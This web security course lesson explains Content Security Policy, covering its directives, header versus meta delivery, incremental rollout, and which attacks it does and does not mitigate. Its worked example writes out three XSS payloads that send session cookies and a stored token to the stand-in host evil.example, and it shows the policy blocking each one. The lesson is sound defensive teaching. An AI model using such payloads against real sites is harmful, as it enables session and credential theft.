Catalog My learning Blog
Browser Security Headers: CORS, CSP and Cookies Explained · Phase 3 · Lesson 12 · 6 min read

What Is Content Security Policy (CSP)?

On this page
  1. Learning Objective
  2. Concept Explanation
  3. Worked Example: The Same Injection With and Without a Policy
  4. Real-World Examples
  5. Review Questions & Answers

Learning Objective

Position CSP correctly as a second line of defense that reduces the impact of an injection rather than preventing it, explain the allowlist model and the two delivery mechanisms, and describe what a realistic policy does and does not buy you.

Concept Explanation

Content Security Policy is a response header through which a document tells the browser which sources of content it is willing to load and execute. The browser then refuses anything outside that declaration. It is fundamentally a mitigation layer: it does not stop an attacker from injecting a string into your page, it stops that injected string from becoming useful. Getting this framing right matters because teams that treat CSP as an XSS fix stop doing the output encoding that actually prevents the injection, and end up with a policy that a determined attacker works around and no primary defense underneath.

The value CSP provides is best understood as raising the cost of exploitation. Without a policy, an injected script tag runs immediately and can do anything the page can do: read the DOM, read same-origin storage, issue authenticated requests, and exfiltrate the results to an arbitrary host. With a well-constructed policy, an injected inline script does not execute at all because it has no valid nonce, an injected external script tag cannot load because its host is not permitted, and even code that does run cannot send data to an attacker-controlled endpoint because connect-src restricts where requests may go. The injection still happened; its payoff went to nearly zero.

CSP also does a second job that gets less attention: it constrains the page against threats that are not XSS at all. frame-ancestors prevents your page from being framed, which is the clickjacking defense covered later in this course. form-action prevents an injected or modified form from posting credentials to an attacker's server. base-uri prevents an injected base tag from silently redirecting every relative script URL on the page to another host, a bypass that defeats an otherwise careful script-src. upgrade-insecure-requests rewrites HTTP subresource URLs to HTTPS. None of these are about script execution, and all of them are worth having.

A policy is delivered in one of two ways. The Content-Security-Policy response header is the normal mechanism and supports every directive. A meta tag with http-equiv="Content-Security-Policy" also works and is useful when you cannot control response headers, but it is strictly weaker: it cannot express frame-ancestors, report-uri, or sandbox, and anything injected into the document before the meta tag is parsed is not covered by it. Prefer the header, and use the meta tag only as a fallback. A document can carry multiple policies, in which case all of them are enforced and a resource must satisfy every one, so adding a second policy can only ever tighten, never loosen.

Finally, CSP is worth deploying incrementally and with measurement, which is why the report-only mode covered in a later lesson exists. A strict policy applied to a mature application will break things, and the failure mode is invisible functionality rather than an error page, so the practical path is to observe violations first, fix the legitimate ones, and only then enforce. A policy that gets rolled back after breaking production provides no security at all, which makes deployment strategy part of the security design rather than an afterthought.

AttackDoes CSP help?How
Reflected or stored XSSSubstantially, as mitigationInjected inline and external script is refused execution, and exfiltration destinations are restricted
DOM-based XSSPartially, fully with Trusted TypesNonces do not cover dangerous DOM sinks; Trusted Types closes them
ClickjackingYes, directlyframe-ancestors controls who may frame the document
Credential phishing via an injected formYesform-action restricts where forms may submit
SQL injection or server-side flawsNoCSP governs the browser only and has no server-side effect
CSRFNoThe forged request originates from the attacker's page, which is bound by its own policy

Worked Example: The Same Injection With and Without a Policy

The example below holds the vulnerability constant and varies only the policy. The injected markup is identical in both cases; what differs is what the browser does with it.

Code
<!-- The application has an XSS flaw: a comment field is rendered unescaped. -->
<!-- The attacker submits this comment: -->
<script>fetch('https://evil.example/c?d='+document.cookie)</script>
<script src="https://evil.example/payload.js"></script>
<img src=x onerror="fetch('https://evil.example/c?d='+localStorage.token)">

<!-- WITHOUT CSP: all three execute. Session cookie and token exfiltrated. -->

<!-- WITH this response header: -->
Content-Security-Policy:
  default-src 'self';
  script-src 'nonce-r4nd0mPerRequest' 'strict-dynamic';
  connect-src 'self' https://api.example.com;
  base-uri 'none';
  form-action 'self';
  frame-ancestors 'none';
  object-src 'none'

<!-- Result:
     1. Inline script      -> blocked, no matching nonce
     2. External script    -> blocked, evil.example is not an allowed source
     3. onerror handler    -> blocked, inline event handlers are not nonce-able
     Even if something did run, connect-src forbids reaching evil.example,
     and base-uri 'none' stops an injected <base> from redirecting scripts. -->
An injected payload meeting a CSP-enforcing browser, with each of the three injection forms stopped at a different directive and the exfiltration attempt stopped separately by connect-src.
An injected payload meeting a CSP-enforcing browser, with each of the three injection forms stopped at a different directive and the exfiltration attempt stopped separately by connect-src.

Real-World Examples

  • GitHub documented its multi-year CSP rollout publicly on its engineering blog, describing how it moved from a permissive starting policy to a strict one, used report-only mode extensively to find violations before enforcing, and treated the resulting violation reports as a live signal about injected content; the writeups are widely cited as the reference account of deploying CSP on a large, mature application without breaking it.
  • Google's 2016 CCS paper "CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy", by Weichselbaum, Spagnuolo, Lekies, and Janc, analyzed over a billion domains' policies and found that roughly 94.7 percent of the CSPs deployed at the time were trivially bypassable, which directly motivated the nonce-based and strict-dynamic approach the rest of this phase covers.
Common PitfallCSP reduces the impact of an injection; it does not prevent the injection. Keep context-aware output encoding and safe templating as the primary defense, and treat CSP as the layer that makes a successful injection worthless rather than as the reason you no longer need to escape output.

Review Questions & Answers

CSP operates after the injection has already occurred: the attacker's string is in the page, and CSP only determines whether the browser acts on it. The practical danger is that a team believing CSP fixes XSS deprioritizes output encoding and safe templating, so the injection surface keeps growing while the entire defense rests on a policy that has historically proven bypassable in the majority of real deployments. CSP is the second layer, valuable precisely because the first layer sometimes fails.

frame-ancestors controls which origins may embed the document in a frame, which is the modern clickjacking defense and supersedes X-Frame-Options. form-action restricts the destinations to which forms on the page may submit, so an injected or modified form cannot post credentials to an attacker-controlled server. base-uri is a third, preventing an injected base tag from silently repointing every relative script URL on the page.

The meta tag cannot express frame-ancestors, report-uri, or sandbox, so the clickjacking and reporting capabilities are unavailable. It also only takes effect from the point in the document where it is parsed, meaning any content injected before it is entirely unconstrained. It is a usable fallback when response headers are not controllable, such as on static hosting, but it is strictly weaker than the header and should not be the primary delivery mechanism.

It enforces both independently, and a resource must satisfy every policy to be allowed. The effective policy is therefore the intersection, not the union, which means adding a second policy can only tighten the result and never loosen it. This is useful for layering: a platform can impose a baseline policy that an application cannot weaken by adding its own, since anything the baseline forbids stays forbidden.